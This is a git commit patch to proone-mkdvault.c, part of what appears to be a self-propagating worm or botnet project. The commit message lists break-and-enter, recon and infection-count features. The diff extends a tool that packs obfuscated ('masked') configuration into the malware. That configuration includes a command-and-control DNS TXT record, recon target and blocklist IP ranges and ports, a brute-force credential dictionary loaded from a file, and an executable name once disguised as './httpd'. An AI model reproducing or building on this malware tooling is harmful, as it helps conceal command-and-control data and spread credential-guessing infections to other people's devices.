From 86038b950f0aaddca7108e903568159414a8d64a Mon Sep 17 00:00:00 2001 From: David Timber Date: Sun, 27 Sep 2020 22:51:11 +0930 Subject: * Disable armv7, aarch64, x86_64 target * Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority --- src/proone-mkdvault.c | 51 ++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 46 insertions(+), 5 deletions(-) (limited to 'src/proone-mkdvault.c') diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index 68c7abe..bcdc27b 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -11,6 +11,7 @@ #include #include +#include #include #include @@ -23,16 +24,17 @@ */ static struct { - const void *data; + void *data; size_t size; prne_dvault_mask_result_t encoded; uint16_t pos; prne_data_type_t type; bool set; + bool ownership; } ENTRIES[NB_PRNE_DATA_KEY]; #define add_cstr(key, cstr) {\ - static const char STR[] = cstr;\ + static char STR[] = cstr;\ ENTRIES[key].data = STR;\ ENTRIES[key].size = sizeof(STR);\ ENTRIES[key].type = PRNE_DATA_TYPE_CSTR;\ @@ -40,13 +42,36 @@ static struct { } #define add_bin(key, bin_arr) {\ - static const uint8_t ARR[] = bin_arr;\ + static uint8_t ARR[] = bin_arr;\ ENTRIES[key].data = ARR;\ ENTRIES[key].size = sizeof(ARR);\ ENTRIES[key].type = PRNE_DATA_TYPE_BIN;\ ENTRIES[key].set = true;\ } +static void add_file (const prne_data_key_t key, const char *path) { + const int fd = open(path, O_RDONLY); + const off_t size = lseek(fd, 0, SEEK_END); + ssize_t f_ret; + + prne_assert(fd >= 0 && size >= 0); + prne_assert(lseek(fd, 0, SEEK_SET) == 0); + ENTRIES[key].data = prne_malloc(1, size); + ENTRIES[key].size = size; + ENTRIES[key].type = PRNE_DATA_TYPE_BIN; + ENTRIES[key].set = true; + ENTRIES[key].ownership = true; + + if (ENTRIES[key].size > 0) { + prne_assert(ENTRIES[key].data != NULL); + } + + f_ret = read(fd, ENTRIES[key].data, ENTRIES[key].size); + prne_assert(f_ret >= 0 && (size_t)f_ret == ENTRIES[key].size); + + close(fd); +} + static mbedtls_entropy_context ent; static mbedtls_ctr_drbg_context rnd; @@ -114,7 +139,7 @@ static void gen_mask (uint8_t *out) { prne_free_imap(&q); } -int main (void) { +int main (const int argc, const char **args) { int callret; uint8_t mask[256]; uint_fast16_t pos = 0; @@ -125,6 +150,10 @@ int main (void) { fprintf(stderr, "Refusing to print on terminal.\n"); return 2; } + if (argc < 2) { + fprintf(stderr, "Usage: %s \n", args[0]); + return 2; + } mbedtls_entropy_init(&ent); mbedtls_ctr_drbg_init(&rnd); @@ -150,7 +179,13 @@ int main (void) { add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4); add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6); add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC); - add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd"); + add_bin(PRNE_DATA_KEY_RCN_PORTS, PRNE_RCN_PORTS); + add_bin(PRNE_DATA_KEY_RCN_T_IPV4, PRNE_RCN_T_IPV4); + add_bin(PRNE_DATA_KEY_RCN_BL_IPV4, PRNE_RCN_BL_IPV4); + add_bin(PRNE_DATA_KEY_RCN_T_IPV6, PRNE_RCN_T_IPV6); + add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6); + add_file(PRNE_DATA_KEY_CRED_DICT, args[1]); + add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME); pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); @@ -241,5 +276,11 @@ int main (void) { write(STDOUT_FILENO, m_out, pos) == (ssize_t)pos, "dumping on stdout"); + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + if (ENTRIES[i].ownership) { + prne_free(ENTRIES[i].data); + } + } + return 0; } -- cgit